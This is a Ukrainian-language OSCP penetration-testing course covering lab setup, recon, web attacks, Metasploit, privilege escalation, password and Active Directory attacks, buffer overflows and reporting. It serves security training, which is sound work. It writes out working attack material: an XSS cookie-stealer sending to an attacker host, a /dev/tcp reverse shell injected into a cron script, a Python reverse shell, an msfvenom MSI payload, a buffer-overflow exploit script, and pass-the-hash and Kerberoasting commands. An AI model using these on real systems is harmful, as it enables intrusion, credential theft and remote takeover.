🔐

Потрібен Pro акаунт

Курс пентесту доступний лише для Pro користувачів. Зверніться до адміністратора для отримання доступу.

Перейти до профілю →
// УРОК 01 — ВСТУП

Що таке пентест і OSCP

Пентест (penetration testing) — це авторизована спроба зламати систему щоб знайти вразливості раніше за реальних зловмисників. OSCP — золотий стандарт сертифікації для пентестерів.

Типи тестування

Black Box
Без інформації про ціль. Як реальний атакуючий.
Найреалістичніший
White Box
Повний доступ до коду, архітектури, схем.
Найповніший аналіз
Grey Box
Часткова інформація. Найпоширеніший у реальних проєктах.
Баланс
Red Team
Повна симуляція APT-атаки. Місяці роботи.
Просунутий рівень

Методологія пентесту

1
Розвідка (Recon)

Збір інформації про ціль: IP, домени, сервіси, співробітники. Пасивна і активна.

2
Сканування (Scanning)

Nmap, Nessus, Nikto — знаходимо відкриті порти, сервіси, версії ПЗ.

3
Експлуатація (Exploitation)

Використання знайдених вразливостей для отримання доступу.

4
Закріплення (Post-Exploitation)

Privilege escalation, lateral movement, persistence.

5
Звітування (Reporting)

Детальний звіт з доказами, ризиками та рекомендаціями.

Що таке OSCP?

OSCP (Offensive Security Certified Professional) — сертифікація від OffSec. Іспит: 24 години практичного зламу 5 машин + 24 години на написання звіту. Ніяких тестів з теорії — тільки реальні навички.

24-годинний іспит 70 балів для проходження 5 машин різної складності Визнаний в усьому світі
💡

Ресурси для практики: hackthebox.com, tryhackme.com, vulnhub.com — всі легальні платформи з реальними машинами.

// Перевір себе
Що ОБОВ'ЯЗКОВО потрібно мати перед початком пентесту реальної системи?
// УРОК 02 — SETUP

Налаштування лабораторії

Перш ніж починати — тобі потрібне безпечне ізольоване середовище. Ніколи не тестуй на реальних системах без дозволу.

Що встановити

VirtualBox / VMware
Гіпервізор для запуску віртуальних машин
Безкоштовно
Kali Linux
ОС пентестера з 600+ інструментами
kali.org
Metasploitable 2/3
Навмисно вразлива ВМ для практики
Ціль для атак
DVWA
Вразливий веб-додаток для вивчення веб-атак
dvwa.co.uk

Мережева топологія лабораторії

lab-network
# Ізольована мережа (Host-Only або Internal Network) 192.168.56.1 ← Твій хост (Windows/Mac) 192.168.56.10 ← Kali Linux (атакуюча машина) 192.168.56.20 ← Metasploitable (ціль) 192.168.56.30 ← Windows Server (ціль) # ВАЖЛИВО: Internal Network = машини бачать одна одну # але не мають доступу до інтернету

Перші команди після встановлення Kali

kali terminal
┌──(kali㉿kali)-[~] └─$ sudo apt update && sudo apt upgrade -y Отримання оновлень... ┌──(kali㉿kali)-[~] └─$ ip a eth0: 192.168.56.10/24 ┌──(kali㉿kali)-[~] └─$ ping 192.168.56.20 PING 192.168.56.20: 64 bytes from 192.168.56.20 ictime=0.8ms
⚠️

Знімки (Snapshots): Роби знімок ВМ перед кожним тестом. Це дозволить відновити систему якщо щось піде не так.

// Перевір себе
Який тип мережі VirtualBox дає машинам зв'язок між собою БЕЗ доступу до інтернету?
// УРОК 03 — LINUX

Linux для пентестера

90% пентесту відбувається в терміналі. Знання Linux — не опція, а необхідність. Ось найважливіші команди які ти будеш використовувати щодня.

Навігація та файли

filesystem
$ pwd # поточна директорія $ ls -la # список файлів з правами $ cd /etc # перейти в директорію $ find / -name "*.conf" 2>/dev/null # знайти файли $ grep -r "password" /etc/ 2>/dev/null # пошук тексту $ cat /etc/passwd # переглянути файл $ file mystery # визначити тип файлу

Мережеві команди

networking
$ ip a # мережеві інтерфейси $ netstat -tulpn # відкриті порти $ ss -tulpn # сучасний аналог netstat $ curl -I http://target.com # заголовки HTTP $ wget http://target/file # завантажити файл $ nc -lvnp 4444 # слухати порт (netcat) $ nc target 80 # з'єднатися з портом

Права та користувачі

permissions
$ whoami # поточний користувач $ id # UID, GID, групи $ sudo -l # що можна виконати як sudo $ cat /etc/shadow # хеші паролів (потрібен root) $ chmod +x script.sh # зробити файл виконуваним $ find / -perm -4000 2>/dev/null # SUID файли
// Перевір себе
Яка команда показує що поточний користувач може виконати з правами sudo?
// УРОК 04 — NETWORKS

Мережі та протоколи

Розуміння мережевих протоколів — основа пентесту. Щоб знайти вразливість — спочатку треба зрозуміти як протокол працює.

Ключові протоколи

ПортПротоколЩо шукати
21FTPAnonymous login, слабкі паролі, старі версії
22SSHСлабкі паролі, старі алгоритми, ключі
23TelnetВідкритий текст! Повний перехват трафіку
80/443HTTP/HTTPSSQLi, XSS, LFI, RFI, IDOR
139/445SMBEternalBlue, null sessions, share enumeration
3306MySQLСлабкі паролі, remote root
3389RDPBlueKeep, brute force, credential stuffing
5985WinRMRemote PowerShell, Evil-WinRM

TCP vs UDP

tcp-udp
# TCP — з підтвердженням (надійний) # Three-way handshake: SYN → SYN-ACK → ACK Використовується: HTTP, SSH, FTP, SMB # UDP — без підтвердження (швидкий) Використовується: DNS (53), SNMP (161), TFTP (69) $ nmap -sU -p 53,161,69 target # сканування UDP

Перехоплення трафіку з Wireshark

wireshark filters
# Корисні фільтри Wireshark http.request.method == "POST" # POST запити ftp.request.command == "PASS" # FTP паролі tcp.port == 445 # SMB трафік ip.addr == 192.168.1.1 # трафік конкретного IP dns # всі DNS запити
// Перевір себе
На якому порту за замовчуванням працює SMB?
// УРОК 05 — RECON

Розвідка та Nmap

Nmap — найважливіший інструмент пентестера. Знаходить відкриті порти, визначає сервіси та їх версії, ОС, та може запускати скрипти перевірки вразливостей.

Основні типи сканування

nmap-scans
# SYN scan (швидкий, менш помітний) $ nmap -sS 192.168.56.20 # Повне сканування: версії + скрипти + ОС $ nmap -sV -sC -O -p- 192.168.56.20 # Швидке сканування топ-1000 портів $ nmap -T4 -F 192.168.56.20 # Зберегти результат $ nmap -oA scan_results 192.168.56.20 # Сканування мережі $ nmap -sn 192.168.56.0/24

NSE скрипти

nmap-scripts
# Перевірити SMB вразливості $ nmap --script smb-vuln* 192.168.56.20 [+] smb-vuln-ms17-010: VULNERABLE (EternalBlue) # HTTP enumeration $ nmap --script http-enum 192.168.56.20 -p80 # FTP anonymous login $ nmap --script ftp-anon 192.168.56.20 -p21 [+] ftp-anon: Anonymous FTP login allowed

Gobuster — перебір директорій

gobuster
$ gobuster dir -u http://192.168.56.20 -w /usr/share/wordlists/dirb/common.txt /admin (Status: 200) /login (Status: 200) /upload (Status: 200) /secret (Status: 403)
// Перевір себе
Який параметр Nmap сканує ВСІ 65535 портів?
// УРОК 06 — WEB

Веб-вразливості (OWASP Top 10)

Більшість реальних зламів відбувається через веб-додатки. OWASP Top 10 — список найнебезпечніших вразливостей від некомерційної організації з безпеки.

SQL Injection

SQLi дозволяє вставити SQL код у запит до бази даних через поля форми або URL параметри.

sqli-examples
# Базова перевірка вразливості username: admin' # синтаксична помилка = вразливий username: admin' OR '1'='1 # обхід авторизації username: admin'-- # коментар = ігнорує пароль # Автоматизація через sqlmap $ sqlmap -u "http://target/login?id=1" --dbs [+] databases: information_schema, users_db $ sqlmap -u "http://target/login?id=1" -D users_db --tables [+] tables: users, passwords, sessions

XSS (Cross-Site Scripting)

xss
# Reflected XSS — виконується в URL http://target/search?q=<script>alert('XSS')</script> # Stored XSS — зберігається в БД і виконується для кожного # Поле коментаря: <script>document.location='http://attacker/steal?c='+document.cookie</script> # Перевірка через BurpSuite # Proxy → Intercept → Modify Request → Send to Repeater

LFI / RFI

lfi-rfi
# LFI — читаємо локальні файли сервера http://target/page?file=../../../etc/passwd http://target/page?file=....//....//etc/passwd # обхід фільтру # Результат: root:x:0:0:root:/root:/bin/bash www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
⚠️

BurpSuite Community — безкоштовний інструмент для аналізу HTTP трафіку. Встановлено в Kali за замовчуванням. Обов'язково освой його для роботи з веб-вразливостями.

// Перевір себе
Який символ найчастіше використовується для перевірки SQL Injection?
// УРОК 07 — METASPLOIT

Metasploit Framework

Metasploit — найпоширеніша платформа для розробки та запуску експлойтів. Містить тисячі готових модулів для атак на різні системи.

Основні команди msfconsole

msfconsole
$ msfconsole msf6 > search eternalblue exploit/windows/smb/ms17_010_eternalblue msf6 > use exploit/windows/smb/ms17_010_eternalblue msf6 exploit(ms17_010_eternalblue) > show options RHOSTS Target IP (required) LHOST Local IP for payload msf6 exploit > set RHOSTS 192.168.56.20 msf6 exploit > set LHOST 192.168.56.10 msf6 exploit > set payload windows/x64/meterpreter/reverse_tcp msf6 exploit > run [*] Meterpreter session 1 opened

Meterpreter — після отримання доступу

meterpreter
meterpreter > sysinfo # інфо про систему meterpreter > getuid # поточний користувач meterpreter > getsystem # спроба підвищення до SYSTEM meterpreter > hashdump # витягнути хеші паролів meterpreter > shell # отримати cmd shell meterpreter > download C:\\secret.txt # завантажити файл meterpreter > screenshot # скріншот екрану meterpreter > keyscan_start # кейлоггер
ℹ️

OSCP обмеження: На іспиті OSCP дозволено використовувати Metasploit лише для ОДНІЄЇ машини. Решту треба зламати вручну. Тренуйся без Metasploit!

// Перевір себе
Яка команда Meterpreter витягує хеші паролів з Windows?
// УРОК 08 — PRIVESC

Privilege Escalation — Linux

Отримали низькопривілейований shell? Тепер треба стати root. Privilege escalation — один з найважливіших навичок OSCP.

Перевірка SUID файлів

suid
# Знайти файли з SUID бітом (виконуються як власник) $ find / -perm -u=s -type f 2>/dev/null /usr/bin/passwd /usr/bin/find /usr/local/bin/customapp # підозрілий! # GTFOBins — база SUID експлойтів: gtfobins.github.io # Якщо find має SUID: $ find . -exec /bin/bash -p \; -quit bash-5.1# whoami root

Sudo права

sudo-privesc
$ sudo -l User www-data may run the following commands: (ALL) NOPASSWD: /usr/bin/vim # vim може виконати shell команди! $ sudo vim -c ':!/bin/bash' root@target:~# id uid=0(root) gid=0(root)

Cron jobs

cron
$ cat /etc/crontab * * * * * root /opt/backup.sh # виконується як root! $ ls -la /opt/backup.sh -rwxrwxrwx root /opt/backup.sh # всі можуть писати! $ echo 'bash -i >& /dev/tcp/192.168.56.10/4444 0>&1' >> /opt/backup.sh # На атакуючій машині слухаємо: $ nc -lvnp 4444 connect to [192.168.56.10] from target root@target:~#
💡

LinPEAS — автоматичний скрипт для пошуку шляхів privesc. Завантаж з GitHub: github.com/carlospolop/PEASS-ng

// Перевір себе
Що таке SUID біт у Linux?
// УРОК 09 — WINDOWS

Privilege Escalation — Windows

Windows має свої унікальні вектори підвищення привілеїв. AlwaysInstallElevated, слабкі сервіси, незашифровані credentials — все це веде до SYSTEM.

Збір інформації

windows-enum
REM Системна інформація systeminfo whoami /priv REM привілеї токену net users REM список користувачів net localgroup administrators REM Запущені сервіси sc query wmic service list brief REM Заплановані задачі schtasks /query /fo LIST /v REM Встановлені програми wmic product get name,version

AlwaysInstallElevated

alwaysinstallelevated
REM Перевірка реєстру reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated REM Якщо обидва = 1 — генеруємо MSI з reverse shell $ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.10 LPORT=4444 -f msi -o evil.msi REM На Windows: msiexec /quiet /qn /i evil.msi SYSTEM shell отримано!

SeImpersonatePrivilege (Potato attacks)

potato
REM Якщо whoami /priv показує SeImpersonatePrivilege REM Завантажуємо PrintSpoofer або GodPotato $ wget https://github.com/BeichenDream/GodPotato/releases/latest REM На цільовій машині: GodPotato.exe -cmd "cmd /c whoami" nt authority\system
💡

WinPEAS — аналог LinPEAS для Windows. Автоматично знаходить всі вектори privesc. Завантажуй з репозиторію PEASS-ng.

// Перевір себе
Яка команда Windows показує привілеї поточного токену доступу?
// УРОК 10 — PASSWORDS

Password Attacks

Слабкі паролі — найпоширеніша причина зламів. Hashcat, John the Ripper і hydra — основний арсенал для атак на паролі.

Типи хешів

ХешПрикладДе зустрічається
MD55f4dcc3b5aa765d61d8327deb882cf99Старі веб-додатки
NTLM8846f7eaee8fb117ad06bdd830b7586cWindows SAM/AD
SHA-2565e884898da...28Сучасні додатки
bcrypt$2y$10$...PHP додатки
NetNTLMv2user::domain:...Windows мережа

Hashcat

hashcat
# Визначити тип хешу $ hashid '5f4dcc3b5aa765d61d8327deb882cf99' [+] MD5 # Атака за словником (MD5) $ hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt 5f4dcc3b5aa765d61d8327deb882cf99:password # NTLM хеш $ hashcat -m 1000 ntlm.txt /usr/share/wordlists/rockyou.txt # З правилами (мутації паролів) $ hashcat -m 0 hash.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Hydra — брутфорс сервісів

hydra
# SSH брутфорс $ hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.20 [22][ssh] host: 192.168.56.20 login: admin password: password123 # HTTP форма $ hydra -l admin -P rockyou.txt 192.168.56.20 http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"
// Перевір себе
Який режим (-m) використовує Hashcat для NTLM хешів?
// УРОК 11 — ACTIVE DIRECTORY

Active Directory атаки

Active Directory — серце корпоративних мереж. Хто контролює AD — контролює всю організацію. Kerberoasting, Pass-the-Hash, BloodHound — ключові техніки.

Kerberoasting

kerberoasting
# Запит TGS тікетів для service accounts # Потрібен будь-який доменний акаунт $ impacket-GetUserSPNs domain.local/user:pass -dc-ip 10.10.10.1 -request [*] Getting TGS for MSSQLSvc/sql.domain.local $krb5tgs$23$*MSSQLSvc*...(хеш для зламу) # Зламуємо офлайн $ hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt

Pass-the-Hash

pass-the-hash
# Маємо NTLM хеш адміна — пароль не потрібен! $ evil-winrm -i 10.10.10.1 -u Administrator -H "aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c" *Evil-WinRM* PS C:\Users\Administrator> # Або через impacket $ impacket-psexec domain/Administrator@10.10.10.1 -hashes :8846f7eaee8fb117ad06bdd830b7586c

BloodHound — картування AD

bloodhound
# Збір даних з домену $ bloodhound-python -u user -p pass -d domain.local -ns 10.10.10.1 -c all [*] Done. 1203 nodes, 4521 edges collected # Запуск BloodHound GUI → завантажити JSON файли # Запит: "Shortest path to Domain Admins" # BloodHound покаже граф атаки
// Перевір себе
Що таке Kerberoasting?
// УРОК 12 — BUFFER OVERFLOW

Buffer Overflow

Buffer overflow — класична вразливість де програма записує більше даних ніж виділено в буфері, перезаписуючи сусідню пам'ять включно з адресою повернення.

Концепція BOF

bof-concept
# Пам'ять стеку (спрощено): [ buffer 100 bytes ][ saved EBP ][ return address ] # Якщо ввести 200 байт: [ AAAA...AAAA 100 ][ AAAA 4 ][ AAAA = 0x41414141 ] ← EIP перезаписаний! # Мета: перезаписати return address адресою нашого shellcode [ buffer: NOP sled + shellcode ][ padding ][ → наш shellcode ]

Методологія BOF для OSCP

1
Fuzzing — знайти розмір краш

Надсилаємо все більше байт поки програма не падає

2
Знайти offset до EIP

Використовуємо pattern_create та pattern_offset від Metasploit

3
Перевірити контроль EIP

Переконатись що EIP = 42424242 (BBBB)

4
Знайти bad characters

Байти які обриваються і не можна використовувати в shellcode

5
Знайти JMP ESP

Адреса інструкції для перенаправлення на стек

6
Генерувати shellcode та запустити

msfvenom, NOP sled, фінальний exploit

bof-exploit.py
import socket offset = 2003 # JMP ESP адреса (little-endian) jmp_esp = b"\xaf\x11\x50\x62" # shellcode від msfvenom без bad chars shellcode = b"\xdb\xc0\xd9..." nop_sled = b"\x90" * 16 payload = b"A" * offset + jmp_esp + nop_sled + shellcode s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("192.168.56.20", 9999)) s.send(payload) s.close()
// Перевір себе
Що таке NOP sled у Buffer Overflow експлойті?
// УРОК 13 — EXPLOITS

Custom Exploits та Python

На OSCP не завжди є готовий Metasploit модуль. Треба вміти знаходити публічні PoC, адаптувати та запускати вручну. Python — основна мова для написання експлойтів.

Пошук публічних експлойтів

searchsploit
# searchsploit — локальна база exploit-db $ searchsploit vsftpd 2.3.4 vsftpd 2.3.4 - Backdoor Command Execution | unix/remote/17491.rb $ searchsploit -m unix/remote/17491.rb # скопіювати # exploit-db.com та github.com також # Пошук: "CVE-2021-XXXX PoC" або "servicename version exploit github"

Reverse Shell на Python

reverse-shell.py
import socket, subprocess, os s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("192.168.56.10", 4444)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) subprocess.call(["/bin/bash", "-i"])

Shell Upgrade

shell-upgrade
# Отримали нестабільний shell? Покращуємо: $ python3 -c 'import pty;pty.spawn("/bin/bash")' # Ctrl+Z $ stty raw -echo; fg $ export TERM=xterm # Тепер є автодоповнення, Ctrl+C не вбиває shell, history працює
// Перевір себе
Яка команда дозволяє знайти локально збережені експлойти для конкретного сервісу?
// УРОК 14 — REPORTING

Звіт та документація

На OSCP іспиті без якісного звіту не зараховують машини навіть якщо ти їх зламав. Документування — така ж важлива навичка як і технічна частина.

Структура звіту OSCP

1
Executive Summary

Короткий огляд для керівництва: що знайдено, рівень ризику, пріоритети виправлення

2
Methodology

Які інструменти і техніки використовувались, часові рамки

3
Findings (по кожній машині)

IP → Сервіси → Вразливість → Proof of Concept → Рекомендація

4
Proof of Exploitation

Скріншот з whoami + hostname + ipconfig/ifconfig + прапорець

Обов'язковий скріншот для OSCP

proof-screenshot
# Linux — після root: root@target:~# whoami && hostname && ip a && cat /root/proof.txt root target-machine 192.168.XX.XX a1b2c3d4e5f6... ← прапорець # Windows — після SYSTEM: whoami hostname ipconfig type C:\Users\Administrator\Desktop\proof.txt

Інструменти для нотаток

CherryTree
Ієрархічні нотатки з підсвіткою синтаксису
Встановлено в Kali
Obsidian
Markdown нотатки з графом зв'язків
obsidian.md
Notion
Хмарні нотатки, зручно для звітів
notion.so
tmux
Кілька терміналів в одному вікні
Обов'язково вивчи!
// Перевір себе
Що ОБОВ'ЯЗКОВО має бути на скріншоті proof для OSCP іспиту?
// УРОК 15 — OSCP EXAM

Підготовка до іспиту OSCP

Іспит OSCP — 24 години активного пентесту + 24 години на звіт. 5 машин, 100 балів, потрібно 70. Ось як до нього підготуватись.

Розподіл балів

ТипБалиДеталі
Active Directory сет403 машини (DC + 2), повна ланцюжок атаки
Standalone машина 120local.txt (10) + proof.txt (10)
Standalone машина 220local.txt (10) + proof.txt (10)
Standalone машина 320local.txt (10) + proof.txt (10)
Bonus points+1080% завдань в PEN-200 лабораторіях

Платформи для практики

HackTheBox
Машини рівня OSCP, OSCP-like списки
hackthebox.com
TryHackMe
Навчальні кімнати, підходить для початку
tryhackme.com
PG Practice
OffSec власна платформа, найближча до іспиту
offensive-security.com
VulnHub
Безкоштовні ВМ для локальної практики
vulnhub.com

Стратегія іспиту

1
Починай з AD сету (0-4 год)

40 балів дають впевненість. Якщо застряг — переходь далі.

2
Standalone машини (4-18 год)

Методично: scan → enum → exploit → privesc. Нотатки на кожному кроці.

3
Відпочинок обов'язковий (18-20 год)

1-2 години сну або відпочинку критично важливі для ясного мислення.

4
Звіт (24-48 год)

Одразу після іспиту. Детально, зі скріншотами кожного кроку.

🏆

Try Harder — офіційна мантра OffSec. Якщо застряг — зроби перерву, повернись з свіжим поглядом, перечитай нотатки, спробуй інший вектор.

// Фінальний тест
Скільки балів потрібно для проходження іспиту OSCP?
🎉
Курс завершено!
Ти пройшов повний курс підготовки до OSCP.
Практикуйся на HackTheBox та TryHackMe щодня.